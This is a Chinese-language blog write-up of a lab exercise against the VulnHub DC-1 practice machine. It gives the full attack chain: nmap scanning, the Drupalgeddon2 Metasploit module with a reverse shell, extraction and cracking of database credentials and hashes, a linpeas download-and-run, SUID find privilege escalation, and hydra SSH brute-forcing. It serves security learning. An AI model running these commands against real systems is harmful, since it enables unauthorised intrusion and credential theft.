VulnHub DC-1 靶机渗透测试笔记

🛡️ VulnHub DC-1 靶机渗透测试笔记

靶机信息

  • 靶机名称:DC-1
  • 靶机来源:VulnHub
  • 目标:获取所有 flag,最终提权至 root
  • 难度:⭐⭐☆☆☆(入门级)
  • 涉及技术:信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破
  • www.cnblogs.com/wrold/p/196...

🔍 一、信息收集

1.1 主机发现

先查看一下本地网段,确认在 67 网段,使用 nmap 扫描存活主机:

复制代码
nmap -sn 192.168.67.0/24

扫描结果中发现目标 IP 为 192.168.67.131

1.2 端口与服务扫描

对目标 IP 进行详细扫描,获取开放端口、服务版本及系统信息:

css 复制代码
nmap -A -T4 192.168.67.131
bash 复制代码
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7
111/tcp open  rpcbind 2-4 (RPC #100000)

扫描结果分析:

端口 服务 关键信息
22 SSH OpenSSH 6.0p1,版本较老
80 HTTP Drupal 7,Apache 2.2.22
111 RPC 基本无利用价值

💡 关键发现: 80 端口运行的是 Drupal 7 CMS,这是一个存在多个高危漏洞的版本,是本次渗透的主要突破口。


💥 二、漏洞利用

2.1 搜索 Drupal 漏洞

使用 searchsploit 在本地漏洞库中搜索 Drupal 7 相关漏洞:

复制代码
searchsploit drupal 7

发现 Drupalgeddon2(CVE-2018-7600) 漏洞,该漏洞允许未授权远程代码执行(RCE),危害极高。

2.2 使用 Metasploit 利用漏洞

启动 Metasploit 框架:

复制代码
msfconsole

搜索并加载 Drupalgeddon2 模块:

bash 复制代码
search Drupalgeddon
use exploit/unix/webapp/drupal_drupalgeddon2

查看模块参数配置(Required: yes 为必填项):

sql 复制代码
show options

配置目标和本机 IP:

arduino 复制代码
set RHOSTS 192.168.67.131
set LHOST 192.168.67.128
set LPORT 4444

执行攻击:

arduino 复制代码
run

成功获取 Meterpreter shell,进入交互式终端:

rust 复制代码
shell
python -c 'import pty;pty.spawn("/bin/bash")'

查看当前权限:

bash 复制代码
whoami   # www-data
id
uname -a # Linux DC-1 3.2.0-6-486

⚠️ 当前为 www-data 权限,需要进一步提权。


🚩 三、寻找 Flag

3.1 Flag 1

查看当前目录文件,发现 flag1.txt

arduino 复制代码
Every good CMS needs a config file - and so do you.

💡 提示:去找 CMS 的配置文件。

3.2 Flag 2 ------ 数据库配置文件

Drupal 的配置文件路径为:

bash 复制代码
cat /var/www/drupal/sites/default/settings.php

在配置文件中发现 MySQL 数据库账号密码 以及 Flag 2

数据库凭据:dbuser / R0ck3t

尝试用 Navicat 外连失败(目标不允许外部连接):

改为在 shell 中本地连接 MySQL:

复制代码
mysql -udbuser -pR0ck3t

查看数据库,进入 drupaldb

ini 复制代码
show databases;
use drupaldb;
show tables;

查看 users 表结构:

bash 复制代码
desc users;

提取用户名和密码 hash:

csharp 复制代码
select name,pass from users;

3.3 破解管理员密码

密码为 Drupal 使用的 PHPass 加密格式($S$ 开头),使用在线工具破解:

破解结果:

shell 复制代码
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR : 53cr3t

🔑 管理员账号:admin / 53cr3t

3.4 Flag 3 ------ Drupal 后台

使用破解的账号登录 Drupal 后台:http://192.168.67.131/user/login

在后台内容中发现 Flag 3

💡 提示:去找 /etc/passwd 文件。

3.5 Flag 4 ------ 系统用户信息

在 MSF shell 中查看 /etc/passwd

发现系统存在 flag4 用户:

ruby 复制代码
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

进入 /home/flag4 目录,查看 flag4 内容:

bash 复制代码
cat flag4.txt
vbnet 复制代码
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

💡 提示:在 root 目录中还有最终 flag,需要提权。


⬆️ 四、权限提升

4.1 信息收集

笔记里的提权方式有很多

查看内核版本:

尝试使用 MSF 自动检测提权方案:

arduino 复制代码
run post/multi/recon/local_exploit_suggester

未找到可用的提权建议,换手动方式。

4.2 使用 LinPEAS 自动枚举

靶机无法访问外网,通过 Kali 中转传输文件。

在 Kali 上开启 HTTP 服务:

yaml 复制代码
python3 -m http.server 8888

在靶机 shell 中下载 linpeas.sh

arduino 复制代码
wget http://192.168.67.128:8888/linpeas.sh

确认下载成功后执行:

bash 复制代码
chmod +x linpeas.sh
./linpeas.sh

LinPEAS 输出结果中发现 find 命令具有 SUID 权限:

4.3 SUID 提权(find 命令)

访问 GTFOBins 查询 find 的 SUID 利用方式:

执行提权命令(注意需要使用 -p 参数保留 SUID 权限):

bash 复制代码
find . -exec /bin/bash -p ; -quit

成功获取 root 权限,找到最终 flag:

vbnet 复制代码
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

🔑 五、扩展:SSH 爆破登录

除 SUID 提权外,还可以通过爆破 flag4 用户的 SSH 密码来进行另一条提权路线。

使用 hydra 爆破 SSH(用的是john的字典):

arduino 复制代码
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.67.131

成功获取密码:flag4 / orange

perl 复制代码
ssh flag4@192.168.67.131
# 密码:orange

💡 登录 flag4 后同样可以利用 SUID find 或内核漏洞提权至 root。


📋 六、渗透流程总结

arduino 复制代码
信息收集(nmap)
    ↓
发现 Drupal 7 → Drupalgeddon2(CVE-2018-7600)
    ↓
Metasploit 获取 www-data shell
    ↓
读取 settings.php → 数据库凭据 → 破解管理员 hash
    ↓
登录 Drupal 后台 → Flag 3
    ↓
查看 /etc/passwd → 发现 flag4 用户
    ↓
LinPEAS 枚举 → 发现 find SUID
    ↓
SUID find 提权 → root → 最终 Flag ✅

🛠️ 七、涉及工具汇总

工具 用途
nmap 端口扫描、服务识别
searchsploit 本地漏洞库搜索
Metasploit 漏洞利用框架
MySQL CLI 数据库查询
LinPEAS Linux 提权信息收集
GTFOBins SUID/sudo 利用查询
Hydra SSH 密码爆破
hashes.com 在线 hash 破解

📝 本文为 VulnHub DC-1 靶机学习笔记,仅用于合法的安全学习与研究。

相关推荐
数据组小组16 小时前
免费数据库管理工具深度横评:NineData 社区版、Bytebase 社区版、Archery,2026 年开发者该选哪个?
数据库·测试·数据库管理工具·数据复制·迁移工具·ninedata社区版·naivicat平替
齐生11 天前
iOS 知识点 - IAP 是怎样的?
笔记
tingshuo29172 天前
D006 【模板】并查集
笔记
Apifox2 天前
【测试套件】当用户说“我只想跑 P0 用例”时,我们到底在说什么
单元测试·测试·ab测试
tingshuo29173 天前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
阁老4 天前
pytest测试框架:如何确保登录模块先执行并共享登录状态
测试
_志哥_5 天前
Superpowers 技术指南:让 AI 编程助手拥有超能力
人工智能·ai编程·测试
西岸行者8 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
starlaky8 天前
Django入门笔记
笔记·django